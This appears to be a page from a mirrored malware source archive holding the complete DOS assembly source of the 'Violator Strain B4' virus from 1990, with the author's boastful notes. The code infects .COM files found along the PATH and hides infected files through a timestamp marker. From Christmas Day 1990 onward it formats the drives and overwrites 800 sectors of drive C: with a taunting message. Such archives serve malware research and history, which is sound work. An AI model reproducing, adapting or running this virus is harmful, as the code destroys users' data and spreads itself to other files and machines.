mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
691 lines
32 KiB
NASM
691 lines
32 KiB
NASM
|
;*****************************************************************************
|
|||
|
; Violator Strain B4
|
|||
|
;*****************************************************************************
|
|||
|
;
|
|||
|
; Notes: (Nov.26.9O)
|
|||
|
; ------------------
|
|||
|
;
|
|||
|
; "Happy Holiday's Guys!!!"
|
|||
|
;
|
|||
|
; Haha! I just got off the line with Flash Force. We decided to make
|
|||
|
; a Violator Strain B4 which will have a nice little ANSI Christmas tree
|
|||
|
; with RABID's seasons greetings. So the file will be huge! But who cares.
|
|||
|
; People won't notice an infection until it's too late due to the short life
|
|||
|
; of this virus.
|
|||
|
;
|
|||
|
; New editions to this virus are a counter that keeps track of how many philes
|
|||
|
; it has infected (Where it is in the program, I have no idea!!!), and a
|
|||
|
; nice ANSI screen.
|
|||
|
;
|
|||
|
; I also fixed that stupid re-infection bug in B3... Bah! To err is human...
|
|||
|
;
|
|||
|
;*****************************************************************************
|
|||
|
;
|
|||
|
; Written by The High Evolutionary
|
|||
|
;
|
|||
|
; Copyright (c) 199O by The RABID Nat'nl Development Corp.
|
|||
|
;
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
CODE SEGMENT
|
|||
|
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
|||
|
ORG $+0100H
|
|||
|
|
|||
|
VCODE: JMP virus
|
|||
|
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
NOP
|
|||
|
|
|||
|
v_start equ $
|
|||
|
|
|||
|
virus: PUSH CX
|
|||
|
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
|||
|
CLD
|
|||
|
MOV SI,DX
|
|||
|
ADD SI,first_3
|
|||
|
MOV DI,OFFSET 100H
|
|||
|
MOV CX,3
|
|||
|
REPZ MOVSB
|
|||
|
MOV SI,DX
|
|||
|
MOV AH,30H
|
|||
|
MOV marker,1
|
|||
|
CALL filter
|
|||
|
CMP AL,0
|
|||
|
JNZ year_check
|
|||
|
JMP quit
|
|||
|
|
|||
|
filter: CMP marker,1
|
|||
|
JE int_21
|
|||
|
CMP marker,2
|
|||
|
JE int_13
|
|||
|
CMP marker,3
|
|||
|
JE int_26
|
|||
|
RET
|
|||
|
|
|||
|
int_21: INT 21H
|
|||
|
RET
|
|||
|
|
|||
|
int_13: INT 13h
|
|||
|
RET
|
|||
|
|
|||
|
int_26: INT 26h
|
|||
|
RET
|
|||
|
|
|||
|
year_check:
|
|||
|
MOV AH,2AH ; Get date info
|
|||
|
MOV marker,1 ; Set function for INT 21
|
|||
|
CALL filter ; Call the filter routine
|
|||
|
CMP CX,1990 ; Check if it's 1990
|
|||
|
JGE month_check ; Yes? Check the month
|
|||
|
JMP infect ; No? Go to infection routine
|
|||
|
|
|||
|
month_check:
|
|||
|
CMP DH,month ; Check if it's December
|
|||
|
JGE day_check ; Yeah? Check the day
|
|||
|
JMP infect ; No? Infect a phile
|
|||
|
|
|||
|
day_check:
|
|||
|
CMP DL,day ; Check if it's Christmas
|
|||
|
JGE kill_13 ; Yeah? Kill all drives
|
|||
|
JMP infect ; No? Infect a poor guy!
|
|||
|
|
|||
|
kill_13:
|
|||
|
MOV AL,counter ; Move drive into AL
|
|||
|
CALL ala_13 ; Kill the drive
|
|||
|
CMP counter,27 ; Check to see if it's drive Z:
|
|||
|
JE re_format ; Yes! Then go to re_format
|
|||
|
INC counter ; Increase the counter
|
|||
|
LOOP kill_13 ; Jump up and fry the next one
|
|||
|
|
|||
|
ala_13: MOV CH,0 ; Set to track 0
|
|||
|
MOV DL,counter ; Set drive to counter
|
|||
|
MOV AH,05h ; Set function for formatting
|
|||
|
MOV DH,0 ; Format Head 0
|
|||
|
MOV marker,2 ; Set for INT_13 call
|
|||
|
CALL filter ; Call the filter routine
|
|||
|
RET ; Return from call
|
|||
|
;
|
|||
|
; I changed this routine, becuase in the original Violator, I rewrote the
|
|||
|
; data segment by calling it for the INT 26. All I did this time, was just
|
|||
|
; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
|
|||
|
; the Violator identifier string will be written everywhere... Kinda neat!
|
|||
|
;
|
|||
|
|
|||
|
re_format:
|
|||
|
MOV BP,OFFSET ansi ; Offset of ANSI screen
|
|||
|
MOV CX,2000 ; Set for 2000 bytes
|
|||
|
MOV AH,13h ; Set function for write to screen
|
|||
|
MOV AL,3 ; Set all attributes to be written
|
|||
|
MOV BH,0 ;
|
|||
|
MOV BL,0 ;
|
|||
|
MOV DH,0 ; Row 0
|
|||
|
MOV DL,0 ; Column 0
|
|||
|
INT 10h ; Display it to screen
|
|||
|
PUSHF ; Push Flags onto stack 'cause INT
|
|||
|
; 26 kill the flag status
|
|||
|
MOV BX,OFFSET intro ; Add a message on the fried drive!
|
|||
|
MOV DX,00 ; Set for sector 0
|
|||
|
MOV CX,800 ; Write 800 sectors
|
|||
|
MOV AL,2 ; Make it drive C:
|
|||
|
MOV marker,3 ; Set up for INT 26 call
|
|||
|
CALL filter ; Call filter for INT 26
|
|||
|
POPF ; Restore the flags we pushed
|
|||
|
|
|||
|
infect: PUSH ES
|
|||
|
MOV AH,2FH
|
|||
|
MOV marker,1
|
|||
|
CALL filter
|
|||
|
MOV [SI+old_dta],BX
|
|||
|
MOV [SI+old_dts],ES
|
|||
|
POP ES
|
|||
|
MOV DX,dta
|
|||
|
ADD DX,SI
|
|||
|
MOV AH,1AH
|
|||
|
CALL filter
|
|||
|
PUSH ES
|
|||
|
PUSH SI
|
|||
|
MOV ES,DS:2CH
|
|||
|
MOV DI,0
|
|||
|
|
|||
|
find_path:
|
|||
|
POP SI
|
|||
|
PUSH SI
|
|||
|
ADD SI,env_str ;Point to "PATH=" string in data area
|
|||
|
LODSB
|
|||
|
MOV CX,OFFSET 8000H
|
|||
|
REPNZ SCASB
|
|||
|
MOV CX,4
|
|||
|
|
|||
|
check_next_4:
|
|||
|
LODSB
|
|||
|
SCASB
|
|||
|
JNZ find_path
|
|||
|
LOOP check_next_4
|
|||
|
POP SI
|
|||
|
POP ES
|
|||
|
MOV [SI+path_ad],DI
|
|||
|
MOV DI,SI
|
|||
|
ADD DI,wrk_spc
|
|||
|
MOV BX,SI
|
|||
|
ADD SI,wrk_spc
|
|||
|
MOV DI,SI
|
|||
|
JMP SHORT slash_ok
|
|||
|
|
|||
|
set_subdir:
|
|||
|
CMP WORD PTR [SI+path_ad],0
|
|||
|
JNZ found_subdir
|
|||
|
JMP all_done
|
|||
|
|
|||
|
found_subdir:
|
|||
|
PUSH DS
|
|||
|
PUSH SI
|
|||
|
MOV DS,ES:2CH ;DS points to environment segment
|
|||
|
MOV DI,SI
|
|||
|
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
|||
|
ADD DI,wrk_spc ;DI points to file name workspace
|
|||
|
|
|||
|
move_subdir:
|
|||
|
LODSB ;Get character
|
|||
|
CMP AL,';' ;Is it a ';' delimiter?
|
|||
|
JZ moved_one ;Yes, found another subdirectory
|
|||
|
CMP AL,0 ;End of PATH string?
|
|||
|
JZ moved_last_one ;Yes
|
|||
|
STOSB ;Save PATH marker into [DI]
|
|||
|
JMP SHORT move_subdir
|
|||
|
|
|||
|
moved_last_one:
|
|||
|
MOV SI,0
|
|||
|
|
|||
|
moved_one:
|
|||
|
POP BX ;Pointer to virus data area
|
|||
|
POP DS ;Restore DS
|
|||
|
MOV [BX+path_ad],SI ;Address of next subdirectory
|
|||
|
NOP
|
|||
|
CMP CH,'\' ;Ends with "\"?
|
|||
|
JZ slash_ok ;If yes
|
|||
|
MOV AL,'\' ;Add one, if not
|
|||
|
STOSB
|
|||
|
|
|||
|
slash_ok:
|
|||
|
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
|||
|
MOV SI,BX ;Restore SI
|
|||
|
ADD SI,f_spec ;Point to "*.COM"
|
|||
|
MOV CX,6
|
|||
|
REPZ MOVSB ;Move "*.COM",0 to workspace
|
|||
|
MOV SI,BX
|
|||
|
MOV AH,4EH
|
|||
|
MOV DX,wrk_spc
|
|||
|
ADD DX,SI ;DX points to "*.COM" in workspace
|
|||
|
MOV CX,3 ;Attributes of Read Only or Hidden
|
|||
|
CALL filter
|
|||
|
JMP SHORT find_first
|
|||
|
|
|||
|
find_next:
|
|||
|
MOV AH,4FH
|
|||
|
CALL filter
|
|||
|
|
|||
|
find_first:
|
|||
|
JNB found_file ;Jump if we found it
|
|||
|
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
|||
|
|
|||
|
found_file:
|
|||
|
MOV AX,[SI+dta_tim] ;Get time from DTA
|
|||
|
AND AL,1CH
|
|||
|
CMP AL,1CH
|
|||
|
JZ find_next ;If so, go find another file
|
|||
|
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H
|
|||
|
;
|
|||
|
;Is the file too long?
|
|||
|
;
|
|||
|
JA find_next ;If too long, find another one
|
|||
|
CMP WORD PTR [SI+dta_len],0AH
|
|||
|
;
|
|||
|
;Is it too short?
|
|||
|
;
|
|||
|
JB find_next ;Then go find another one
|
|||
|
MOV DI,[SI+nam_ptr] ;DI points to file name
|
|||
|
PUSH SI ;Save SI
|
|||
|
ADD SI,dta_nam ;Point SI to file name
|
|||
|
|
|||
|
more_chars:
|
|||
|
LODSB
|
|||
|
STOSB
|
|||
|
CMP AL,0
|
|||
|
JNZ more_chars ;Move characters until we find a 00
|
|||
|
POP SI
|
|||
|
MOV AX,OFFSET 4300H
|
|||
|
MOV DX,wrk_spc ;Point to \path\name in workspace
|
|||
|
ADD DX,SI
|
|||
|
CALL filter
|
|||
|
MOV [SI+old_att],CX ;Save the old attributes
|
|||
|
MOV AX,OFFSET 4301H ;Set attributes
|
|||
|
AND CX,OFFSET 0FFFEH
|
|||
|
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
|||
|
ADD DX,SI ;Point to \path\name
|
|||
|
CALL filter
|
|||
|
MOV AX,OFFSET 3D02H ;Read/Write
|
|||
|
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
|||
|
ADD DX,SI ;Point to \path\name
|
|||
|
CALL filter
|
|||
|
JNB opened_ok ;If file was opened OK
|
|||
|
JMP fix_attr ;If it failed, restore the attributes
|
|||
|
|
|||
|
opened_ok:
|
|||
|
INC times ; Add one to the times counter so
|
|||
|
; that we can keep track off how many
|
|||
|
; files we have infected...
|
|||
|
MOV BX,AX
|
|||
|
MOV AX,OFFSET 5700H
|
|||
|
CALL filter
|
|||
|
MOV [SI+old_tim],CX ;Save file time
|
|||
|
MOV [SI+ol_date],DX ;Save the date
|
|||
|
MOV AH,2CH
|
|||
|
CALL filter
|
|||
|
MOV AH,3FH
|
|||
|
MOV CX,3
|
|||
|
MOV DX,first_3
|
|||
|
ADD DX,SI
|
|||
|
CALL filter
|
|||
|
JB fix_time_stamp ;Quit, if read failed
|
|||
|
CMP AX,3 ;Were we able to read all 3 bytes?
|
|||
|
JNZ fix_time_stamp ;Quit, if not
|
|||
|
MOV AX,OFFSET 4202H
|
|||
|
MOV CX,0
|
|||
|
MOV DX,0
|
|||
|
CALL filter
|
|||
|
JB fix_time_stamp ;Quit, if it didn't work
|
|||
|
MOV CX,AX ;DX:AX (long int) = file size
|
|||
|
SUB AX,3 ;Subtract 3 (DX must be 0, here)
|
|||
|
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst
|
|||
|
ADD CX,OFFSET c_len_y
|
|||
|
MOV DI,SI ;Point DI to virus data area
|
|||
|
SUB DI,OFFSET c_len_x
|
|||
|
MOV [DI],CX
|
|||
|
MOV AH,40H
|
|||
|
MOV CX,virlen ;Length of virus, in bytes
|
|||
|
MOV DX,SI
|
|||
|
SUB DX,OFFSET codelen ;Length of virus code, gives starting
|
|||
|
;address of virus code in memory
|
|||
|
CALL filter
|
|||
|
JB fix_time_stamp ;Jump if error
|
|||
|
CMP AX,OFFSET virlen ;All bytes written?
|
|||
|
JNZ fix_time_stamp ;Jump if error
|
|||
|
MOV AX,OFFSET 4200H
|
|||
|
MOV CX,0
|
|||
|
MOV DX,0
|
|||
|
CALL filter
|
|||
|
JB fix_time_stamp ;Jump if error
|
|||
|
MOV AH,40H
|
|||
|
MOV CX,3
|
|||
|
MOV DX,SI ;Virus data area
|
|||
|
ADD DX,jmp_op ;Point to the reconstructed JMP
|
|||
|
CALL filter
|
|||
|
|
|||
|
fix_time_stamp:
|
|||
|
MOV DX,[SI+ol_date] ;Old file date
|
|||
|
MOV CX,[SI+old_tim] ;Old file time
|
|||
|
AND CX,OFFSET 0FFE0H
|
|||
|
OR CX,1CH ;Make timestamp with the infected
|
|||
|
;seconds!!!
|
|||
|
MOV AX,OFFSET 5701H
|
|||
|
CALL filter
|
|||
|
MOV AH,3EH
|
|||
|
CALL filter
|
|||
|
|
|||
|
fix_attr:
|
|||
|
MOV AX,OFFSET 4301H
|
|||
|
MOV CX,[SI+old_att] ;Old Attributes
|
|||
|
MOV DX,wrk_spc
|
|||
|
ADD DX,SI ;DX points to \path\name in workspace
|
|||
|
CALL filter
|
|||
|
|
|||
|
all_done:
|
|||
|
PUSH DS
|
|||
|
MOV AH,1AH
|
|||
|
MOV DX,[SI+old_dta]
|
|||
|
MOV DS,[SI+old_dts]
|
|||
|
CALL filter
|
|||
|
POP DS
|
|||
|
|
|||
|
|
|||
|
;*************************************************************************
|
|||
|
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
|
|||
|
; in since the address in a real JMP 100 is an offset, and the offset
|
|||
|
; varies from one infected file to the next. By PUSHing an 0100H onto the
|
|||
|
; stack, we can RET to address 0100H just as though we JMPed there.
|
|||
|
;**********************************************************************
|
|||
|
|
|||
|
quit:
|
|||
|
POP CX
|
|||
|
XOR AX,AX
|
|||
|
XOR BX,BX
|
|||
|
XOR DX,DX
|
|||
|
XOR SI,SI
|
|||
|
MOV DI,OFFSET 0100H
|
|||
|
PUSH DI
|
|||
|
XOR DI,DI
|
|||
|
RET 0FFFFH
|
|||
|
|
|||
|
vir_dat EQU $
|
|||
|
|
|||
|
month db 12 ;Set month to December
|
|||
|
day db 25 ;Set day to Christmas
|
|||
|
intro db 13,10
|
|||
|
DB 'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10
|
|||
|
DB ' RABID would like to take this opportunity to extend it''s sincerest',13,10
|
|||
|
db ' holiday wishes to all Pir8 lamers around the world! If you are',13,10
|
|||
|
db ' reading this, then you are lame!!!',13,10
|
|||
|
db ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10
|
|||
|
db ' new year. Go ahead! Make our day!',13,10,13,10
|
|||
|
db ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10
|
|||
|
db '(Bah! We make a virus this large, might as well have something positive!)',13,10
|
|||
|
marker DB 0 ;Marker for INT purposes
|
|||
|
counter DB 2 ;Counter for drives
|
|||
|
times DB 0
|
|||
|
ansi DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>'
|
|||
|
DB 9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',15,'<27>'
|
|||
|
DB 15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>'
|
|||
|
DB 15,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>',9,'<27>'
|
|||
|
DB 9,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>',12,'<27>'
|
|||
|
DB 12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,'<27>',9,' ',9,' ',9,' ',9,'<27>',9,'<27>',9,'<27>',9,' '
|
|||
|
DB 9,' ',9,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',15,'<27>',15,' ',15,' '
|
|||
|
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,' ',15,'<27>',9,'<27>',9,' '
|
|||
|
DB 9,' ',9,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',9,'<27>',12,' ',12,' '
|
|||
|
DB 12,' ',12,'<27>',12,'<27>',12,' ',12,'<27>',12,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',9,' '
|
|||
|
DB 9,' ',9,' ',9,'<27>',9,' ',9,'<27>',9,' ',9,' ',9,'<27>',9,'<27>'
|
|||
|
DB 15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>'
|
|||
|
DB 15,' ',15,' ',15,' ',15,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',9
|
|||
|
DB '<27>',9,' ',9,' ',9,'<27>',12,'<27>',12,' ',12,' ',12,' ',12,'<27>'
|
|||
|
DB 12,'<27>',12,' ',12,'<27>',9,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,'<27>',9,' ',9,' ',9,' ',9
|
|||
|
DB '<27>',9,'<27>',9,'<27>',9,' ',9,' ',9,'<27>',15,'<27>',15,' ',15,' '
|
|||
|
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' '
|
|||
|
DB 15,' ',15,'<27>',9,'<27>',9,' ',9,'<27>',9,'<27>',9,'<27>',9,' ',9,' '
|
|||
|
DB 9,'<27>',12,'<27>',12,' ',12,' ',12,' ',12,'<27>',12,'<27>',12,' '
|
|||
|
DB 12,'<27>',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,'<27>',1,' ',1,' ',1,'<27>',1,'<27>',1,'<27>',1,' '
|
|||
|
DB 1,' ',1,'<27>',15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>'
|
|||
|
DB 15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' ',15,' ',15,'<27>'
|
|||
|
DB 1,'<27>',1,' ',1,'<27>',1,'<27>',1,'<27>',12,' ',12,' ',12,'<27>',12
|
|||
|
DB '<27>',12,' ',12,' ',12,' ',12,'<27>',12,'<27>',1,' ',1,'<27>',1,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,'<27>',1,' ',1,' ',1,'<27>',1,' ',1,'<27>',1,'<27>',1,' ',1,'<27>'
|
|||
|
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' '
|
|||
|
DB 15,'<27>',15,'<27>',15,' ',15,' ',15,' ',15,'<27>',1,'<27>',1,' '
|
|||
|
DB 1,' ',1,'<27>',1,'<27>',12,' ',12,' ',12,'<27>',12,'<27>',12,' ',12
|
|||
|
DB ' ',12,' ',12,'<27>',1,'<27>',1,' ',1,'<27>',1,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',1,' '
|
|||
|
DB 1,' ',1,'<27>',1,' ',1,' ',1,'<27>',15,' ',15,' ',15,'<27>',15
|
|||
|
DB '<27>',15,' ',15,' ',15,'<27>',15,'<27>',15,' ',15,' ',15,'<27>',15
|
|||
|
DB '<27>',1,' ',1,' ',1,' ',1,'<27>',1,'<27>',1,' ',1,' ',1,'<27>',12
|
|||
|
DB '<27>',12,' ',12,' ',12,'<27>',12,'<27>',12,' ',12,' ',12,' ',12
|
|||
|
DB '<27>',1,'<27>',1,' ',1,'<27>',1,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,'<27>',1,'<27>',1,'<27>',1,'<27>',1
|
|||
|
DB ' ',1,' ',1,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15
|
|||
|
DB '<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',15,'<27>',1,'<27>',1,'<27>',1,'<27>'
|
|||
|
DB 1,'<27>',1,'<27>',1,'<27>',1,'<27>',1,'<27>',1,'<27>',12,'<27>',12,'<27>',12,'<27>'
|
|||
|
DB 12,'<27>',12,'<27>',12,'<27>',12,'<27>',1,'<27>',1,'<27>',1,'<27>',1,'<27>',1
|
|||
|
DB '<27>',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15
|
|||
|
DB 't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15
|
|||
|
DB 'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15
|
|||
|
DB 'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15
|
|||
|
DB 'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7
|
|||
|
DB ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7
|
|||
|
DB 't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7
|
|||
|
DB ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7
|
|||
|
DB 'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7
|
|||
|
DB 'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s'
|
|||
|
DB 7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s'
|
|||
|
DB 7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' '
|
|||
|
DB 7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7
|
|||
|
DB 'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7
|
|||
|
DB 'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7
|
|||
|
DB 'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7
|
|||
|
DB '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7
|
|||
|
DB 'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7
|
|||
|
DB 'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7
|
|||
|
DB 'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132
|
|||
|
DB 'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132
|
|||
|
DB 'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132
|
|||
|
DB 'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132
|
|||
|
DB 'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132
|
|||
|
DB '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
